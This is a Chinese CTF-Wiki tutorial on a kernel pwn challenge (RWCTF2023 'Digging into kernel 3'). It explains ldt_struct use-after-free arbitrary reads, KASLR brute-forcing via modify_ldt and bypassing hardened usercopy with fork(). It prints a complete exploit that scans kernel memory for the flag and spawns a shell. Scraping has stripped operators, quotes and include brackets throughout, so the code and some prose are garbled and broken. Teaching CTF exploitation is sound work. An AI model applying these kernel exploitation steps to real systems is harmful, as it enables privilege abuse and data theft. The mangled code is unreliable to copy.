CTF-Wiki 内核利用实战:利用 ldt_struct 在内核内存中直接搜索 initramfs 中的 flag 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载在多数 CTF 内核Kernel Pwn题目中initrd/initramfs会作为根文件系统被整体读入内存因此 flag 文件的内容必然驻留在内核线性映射区中——只要攻击者具备内核空间内的任意读能力就无需再费力做文件读取或提权直接在内存里搜 flag即可一击命中。本文以 CTF-Wiki 仓库中 initramfs.md 为骨架以 RWCTF2023 体验赛 Digging into kernel 3 为例题完整讲解initrd/initramfs的原理、如何利用ldt_struct构造内核任意地址读、如何借助fork()绕过 hardened usercopy并给出可直接复现的完整 exploit。读完本文你将掌握一类内核任意读 内存搜索 flag的通用解题范式。initrd 与 initramfsflag 为什么会被整段载入内存Initial RAM diskinitrd提供了在 boot loader 阶段载入一个 RAM disk 并挂载为根文件系统的能力从而在该阶段运行一些用户态程序在完成该阶段工作之后才是挂载真正的根文件系统。initrd文件系统镜像通常为 gzip 格式在启动阶段由 boot loader 将其路径传给 kernel自 Linux 2.6 版本后出现了使用 cpio 格式的initramfs从而无需挂载便能展开为一个文件系统。initrd/initramfs的一个关键特点便是文件系统中的所有内容都会被读取到内存当中。而大部分 CTF 中的 kernel pwn 题目都选择直接将 initrd 作为根文件系统因此只要我们拥有内存搜索能力便能够直接在内存空间中搜索 flag 的内容——这省去了传统利用中先提权、再读文件的复杂链路。关于如何用 busybox 构建并打包这类 initramfs 根文件系统编译静态 busybox、创建proc/sys/dev/etc/init.d目录、编写init启动脚本、用 cpio 归档可参考仓库中的 qemu-emulate.md其给出的环境正是本文例题所使用的典型启动形态。例题RWCTF2023 体验赛 - Digging into kernel 3题目环境与漏洞面按仓库中同系列题目分析见 spray.md的惯例先查看启动脚本可见开启了 SMEP、SMAP、KASLR、KPTIqemu-system-x86_64 \ -m 128M \ -nographic \ -kernel ./bzImage \ -initrd ./rootfs.img \ -enable-kvm \ -cpu kvm64,smap,smep \ -monitor /dev/null \ -append consolettyS0 kaslr kpti1 quiet oopspanic panic1 init/init \ -no-reboot \ -snapshot \ -s文件系统中给了一个rwctf.ko拖入 IDA 分析后发现只定义了一个 ioctl提供两个功能0xDEADBEEF分配一个任意大小的 object 并写入数据分配 flag 为__GFP_ZERO | GFP_KERNEL但同一时刻只能存在两个 object0xC0DECAFE释放一个之前分配的 object存在 UAFUse-After-Free。需要传入的结构体为struct node { uint32_t idx; uint32_t size; void *buf; };题目分析已在前文完成此处不再赘述。关键点是题目直接白给了一个无限制的 UAF因此利用方式多种多样。本文选择利用ldt_struct直接在内存空间中搜索 flag 的方式解题。Step.I - 利用 ldt_struct 完成内核任意地址读ldt_struct 结构体与 modify_ldt 系统调用LDTLocal Descriptor Table局部段描述符表中存放着进程的段描述符段寄存器中存放的段选择子便是段描述符表中段描述符的索引。内核中与 LDT 相关联的结构体为ldt_struct定义如下entries指针指向一块描述符表的内存nr_entries表示 LDT 中的描述符数量struct ldt_struct { /* * Xen requires page-aligned LDTs with special permissions. This is * needed to prevent us from installing evil descriptors such as * call gates. On native, we could merge the ldt_struct and LDT * allocations, but its not worth trying to optimize. */ struct desc_struct *entries; unsigned int nr_entries; /* * If PTI is in use, then the entries array is not mapped while were * in user mode. The whole array will be aliased at the addressed * given by ldt_slot_va(slot). We use two slots so that we can allocate * and map, and enable a new LDT without invalidating the mapping * of an older, still-in-use LDT. * * slot will be -1 if this LDT doesnt have an alias mapping. */ int slot; };Linux 提供了modify_ldt()系统调用来操纵当前进程的ldt_structSYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr , unsigned long , bytecount) { int ret -ENOSYS; switch (func) { case 0: ret read_ldt(ptr, bytecount); break; case 1: ret write_ldt(ptr, bytecount, 1); break; case 2: ret read_default_ldt(ptr, bytecount); break; case 0x11: ret write_ldt(ptr, bytecount, 0); break; } /* * The SYSCALL_DEFINE() macros give us an unsigned long * return type, but tht ABI for sys_modify_ldt() expects * int. This cast gives us an int-sized value in %rax * for the return code. The unsigned is necessary so * the compiler does not try to sign-extend the negative * return codes into the high half of the register when * taking the value from int-long. */ return (unsigned int)ret; }从源码结构可以看出func的四个取值分别对应四种操作func处理函数语义0read_ldt()读取当前进程 LDT 内容到用户空间1write_ldt(..., 1)写入 LDT完成新的ldt_struct分配2read_default_ldt()读取默认 LDT0x11write_ldt(..., 0)另一种写入路径reload_ldt标志为 0在 ldt_struct 上打 UAF对于write_ldt()而言其最终会调用alloc_ldt_struct()分配 ldt 结构体。由于走的是通用的分配路径kmalloc我们可以在该结构体上完成 UAF/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */ static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries) { struct ldt_struct *new_ldt; unsigned int alloc_size; if (num_entries LDT_ENTRIES) return NULL; new_ldt kmalloc(sizeof(struct ldt_struct), GFP_KERNEL); //...而read_ldt()就是简单地把 LDT 表上的内容读出到用户空间。由于我们有无限次 UAF故可以修改ldt-entries完成内核空间中的任意地址读static int read_ldt(void __user *ptr, unsigned long bytecount) { //... if (copy_to_user(ptr, mm-context.ldt-entries, entries_size)) { retval -EFAULT; goto out_unlock; } //... out_unlock: up_read(mm-context.ldt_usr_sem); return retval; }借 read_ldt 爆破 page_offset_base 绕过 KASLRread_ldt()还能帮助我们绕过 KASLR。这里要用到copy_to_user()的一个特性对于非法地址其并不会造成 kernel panic只会返回一个非零的错误码-EFAULT。于是我们可以多次修改ldt-entries并多次调用modify_ldt()以爆破内核的page_offset_base若是成功命中则modify_ldt会返回一个非负值读到的字节数反之返回负值即地址非法。不过需要注意由于hardened usercopy的存在我们并不能够直接读取内核代码段或是线性映射区中大小不符的对象的内容否则会造成 kernel panic。这正是下一步要解决的问题。Step.II - 利用 fork 绕过 hardened usercopy虽然在用户空间与内核空间之间的数据拷贝存在 hardened usercopy但是内核空间到内核空间的数据拷贝之间并不存在类似的保护机制因此我们可以通过一些手段绕过 hardened usercopy。阅读 Linux 内核源码可以观察到当进程调用fork()时内核会通过memcpy()将父进程的ldt-entries上的内容拷贝给子进程/* * Called on fork from arch_dup_mmap(). Just copy the current LDT state, * the new task is not running, so nothing can be installed. */ int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm) { //... memcpy(new_ldt-entries, old_mm-context.ldt-entries, new_ldt-nr_entries * LDT_ENTRY_SIZE); //... }该操作完全处于内核中因此不会触发 hardened usercopy 的检查。我们只需要在父进程中设定好要搜索的地址再 fork 出子进程由子进程调用read_ldt()读取数据即可——父进程负责布置任意读地址可以触发 UAF 改写entries子进程负责把数据读回用户态两者通过fork()时的内核态memcpy衔接巧妙地绕过了 usercopy 防线。完整 EXPLOIT 与逐段解析以下是比赛时所使用的最终 exp也是本文的核心复用资产#define _GNU_SOURCE #include sys/types.h #include sys/ioctl.h #include sys/prctl.h #include sys/syscall.h #include sys/mman.h #include sys/wait.h #include asm/ldt.h #include stdio.h #include signal.h #include pthread.h #include unistd.h #include stdlib.h #include string.h #include fcntl.h #include ctype.h #include stdint.h int dev_fd; struct node { uint32_t idx; uint32_t size; void *buf; }; void err_exit(char * msg) { printf([x] %s \n, msg); exit(EXIT_FAILURE); } void alloc(uint32_t idx, uint32_t size, void *buf) { struct node n { .idx idx, .size size, .buf buf, }; ioctl(dev_fd, 0xDEADBEEF, n); } void del(uint32_t idx) { struct node n { .idx idx, }; ioctl(dev_fd, 0xC0DECAFE, n); } int main(int argc, char **argv, char **envp) { struct user_desc desc; uint64_t page_offset_base 0xffff888000000000; uint64_t secondary_startup_64; uint64_t kernel_base 0xffffffff81000000, kernel_offset; uint64_t search_addr, flag_addr -1; uint64_t temp; uint64_t ldt_buf[0x10]; char *buf; char flag[0x100]; int pipe_fd[2]; int retval; cpu_set_t cpu_set; /* bind to CPU core 0 */ CPU_ZERO(cpu_set); CPU_SET(0, cpu_set); sched_setaffinity(0, sizeof(cpu_set), cpu_set); dev_fd open(/dev/rwctf, O_RDONLY); if (dev_fd 0) { err_exit(FAILED to open the /dev/rwctf file!); } /* init descriptor info */ desc.base_addr 0xff0000; desc.entry_number 0x8000 / 8; desc.limit 0; desc.seg_32bit 0; desc.contents 0; desc.limit_in_pages 0; desc.lm 0; desc.read_exec_only 0; desc.seg_not_present 0; desc.useable 0; alloc(0, 16, arttnba3rat3bant); del(0); syscall(SYS_modify_ldt, 1, desc, sizeof(desc)); /* leak kernel direct mapping area by modify_ldt() */ while(1) { ldt_buf[0] page_offset_base; ldt_buf[1] 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); retval syscall(SYS_modify_ldt, 0, temp, 8); if (retval 0) { printf([-] read data: 0x%lx\n, temp); break; } else if (retval 0) { err_exit(no mm-context.ldt!); } page_offset_base 0x1000000; } printf([] Found page_offset_base: 0x%lx\n, page_offset_base); /* leak kernel base from direct mappinig area by modify_ldt() */ ldt_buf[0] page_offset_base 0x9d000; ldt_buf[1] 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); syscall(SYS_modify_ldt, 0, secondary_startup_64, 8); kernel_offset secondary_startup_64 - 0xffffffff81000060; kernel_base kernel_offset; printf([*] Get secondary_startup_64: 0x%lx\n, secondary_startup_64); printf([] kernel_base: 0x%lx\n, kernel_base); printf([] kernel_offset: 0x%lx\n, kernel_offset); /* search for flag in kernel space */ search_addr page_offset_base; pipe(pipe_fd); buf (char*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); while(1) { ldt_buf[0] search_addr; ldt_buf[1] 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); int ret fork(); if (!ret) { // child char *result_addr; syscall(SYS_modify_ldt, 0, buf, 0x8000); result_addr memmem(buf, 0x8000, rwctf{, 6); if (result_addr) { for (int i 0; i 0x100; i) { if (result_addr[i] }) { flag_addr search_addr (uint64_t)(result_addr - buf); printf([] Found flag at addr: 0x%lx\n, flag_addr); } } } write(pipe_fd[1], flag_addr, 8); exit(0); } wait(NULL); read(pipe_fd[0], flag_addr, 8); if (flag_addr ! -1) { break; } search_addr 0x8000; } /* read flag */ memset(flag, 0, sizeof(flag)); ldt_buf[0] flag_addr; ldt_buf[1] 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); syscall(SYS_modify_ldt, 0, flag, 0x100); printf([] flag: %s\n, flag); system(/bin/sh); return 0; }下面按利用流程逐段拆解这段 exp 的四个阶段1. 准备工作与 LDT 初始化通过sched_setaffinity将进程绑定到 CPU 核心 0避免多核调度带来的竞态干扰打开题目设备/dev/rwctf填充struct user_desc描述符信息并调用syscall(SYS_modify_ldt, 1, desc, sizeof(desc))func1即write_ldt让内核为当前进程分配一个ldt_struct在此之前先alloc(0, 16, arttnba3rat3bant)再del(0)制造一个空闲的 16 字节 slab 对象。write_ldt分配ldt_structkmalloc(sizeof(struct ldt_struct))时便会复用这块 UAF 内存——之后我们通过del(0)alloc(0, 16, ldt_buf)就能把伪造的ldt_struct含伪造的entries指针写回到这块内存中。2. 爆破 page_offset_base绕过 KASLR第一阶段以0xffff888000000000为起始猜测值、0x1000000为步长循环构造ldt_buf[0] 猜测地址即伪造entries指针、ldt_buf[1] 0x8000/8伪造nr_entriesdel(0); alloc(0, 16, ldt_buf);把伪造结构体写回 UAF 对象调用modify_ldt(0, temp, 8)尝试读取 8 字节若返回retval 0说明该地址映射合法、读取成功temp中即为读到的内容爆破命中若返回0说明当前进程没有 LDT否则地址非法继续步进。3. 由线性映射区泄露内核基址第二阶段爆破到page_offset_base后已知secondary_startup_64位于直接映射区中的page_offset_base 0x9d000附近于是将该地址作为entries读出一个指针值减去已知的静态偏移0xffffffff81000060得到kernel_offset进而恢复kernel_base。这一步之所以可行是因为直接映射区linear/direct mapping中保存着内核镜像的物理映射其中对应位置存放了secondary_startup_64的链接期地址两者相减即 KASLR 偏移。4. 全内存扫描 flag第三阶段核心技巧search_addr page_offset_base; pipe(pipe_fd); buf mmap(NULL, 0x8000, ...); while(1) { // 父进程把 search_addr 写入 UAF 对象伪造 entries del(0); alloc(0, 16, ldt_buf); int ret fork(); if (!ret) { // 子进程read_ldt 读出 0x8000 字节memmem 搜索 rwctf{ syscall(SYS_modify_ldt, 0, buf, 0x8000); result_addr memmem(buf, 0x8000, rwctf{, 6); ... write(pipe_fd[1], flag_addr, 8); exit(0); } wait(NULL); read(pipe_fd[0], flag_addr, 8); if (flag_addr ! -1) break; search_addr 0x8000; }这里正是 Step.II 的落地父进程负责改entries子进程负责读内存fork()时内核态memcpy把父进程伪造好的 LDT 内容复制给子进程规避了 hardened usercopy 对直接读取线性映射区中大小不符对象的拦截。子进程每次读取0x8000字节后调用memmem匹配rwctf{前缀再向后扫描0x100字节寻找}以定位 flag 的结束计算出 flag 在内核中的绝对地址flag_addr并通过匿名管道写回父进程父进程wait子进程后读取结果未命中则把搜索地址推进0x8000继续下一轮。找到 flag 地址后最后一轮直接把它作为entries调用read_ldt把0x100字节读回用户态并打印ldt_buf[0] flag_addr; ldt_buf[1] 0x8000 / 8; del(0); alloc(0, 16, ldt_buf); syscall(SYS_modify_ldt, 0, flag, 0x100); printf([] flag: %s\n, flag); system(/bin/sh);由于 initramfs 把整个根文件系统都载入了内存flag 必然就躺在内核线性映射区的某处这个读一段、搜一段、步进一段的扫描循环最终必然命中。小结一类可复用的任意读 内存搜 flag范式本文以ldt_struct为切入点总结了一条完整的攻击链路其核心步骤可在其他具备内核任意读能力的题目中直接复用利用前提题目存在可改写内核堆对象的原语本文为无限制 UAF且目标内核未开启过强的堆保护或可利用fork绕开 usercopy 检查构造任意读把伪造的ldt_structentries指向目标地址、nr_entries控制读取长度写入 UAF 对象再通过modify_ldt(0, ...)触发read_ldt()完成读绕过 hardened usercopy由父进程布置任意地址fork()子进程通过内核态memcpy继承伪造 LDT子进程负责读出数据从而避开用户态与内核态之间拷贝时的 usercopy 校验定位 flag以rwctf{或题目对应的 flag 前缀为特征串从page_offset_base起按页/按块扫描内核线性映射区命中后回读打印。同时提醒由于 hardened usercopy 的存在直接读取内核代码段或线性映射区中与对象大小不符的数据会触发 kernel panic务必在 exp 中采用父进程布置 子进程读取的 fork 模式而 Linux 后续版本对 LDT 相关路径亦有更严格的防护如ldt_dup_context前的各项检查在移植到新内核时需重新审计arch/x86/kernel/ldt.c中的实现细节。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐CTF-Wiki 内核 Pwn 专题userfaultfd 在 Linux 内核条件竞争利用中的原理与实战CTF Wiki 内核 Pwn 专题userfaultfd 在 Linux 内核条件竞争利用中的原理与实战 导读 本文以 ctf wiki 仓库 https:文档网络安全教程突破网盘下载技术壁垒LinkSwift直链解析引擎深度解析突破网盘下载技术壁垒LinkSwift直链解析引擎深度解析 你是否曾在深夜等待一个重要的项目文件下载完成却只能眼睁睁看着进度条缓慢爬行是否因为网盘限速而错文档网络安全教程C4-draw.io技术揭秘基于mxGraph的C4架构建模插件实现原理C4 draw.io技术揭秘基于mxGraph的C4架构建模插件实现原理 c4 draw.io是一款专为draw.io平台设计的C4架构建模插件它通过提供标文档网络安全教程上一篇Claude 网页设计堆栈ui-ux-pro-max Playwright MCP安装与配置实战指南下一篇10分钟从零到精通Mermaid在线编辑器的完整可视化之旅创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考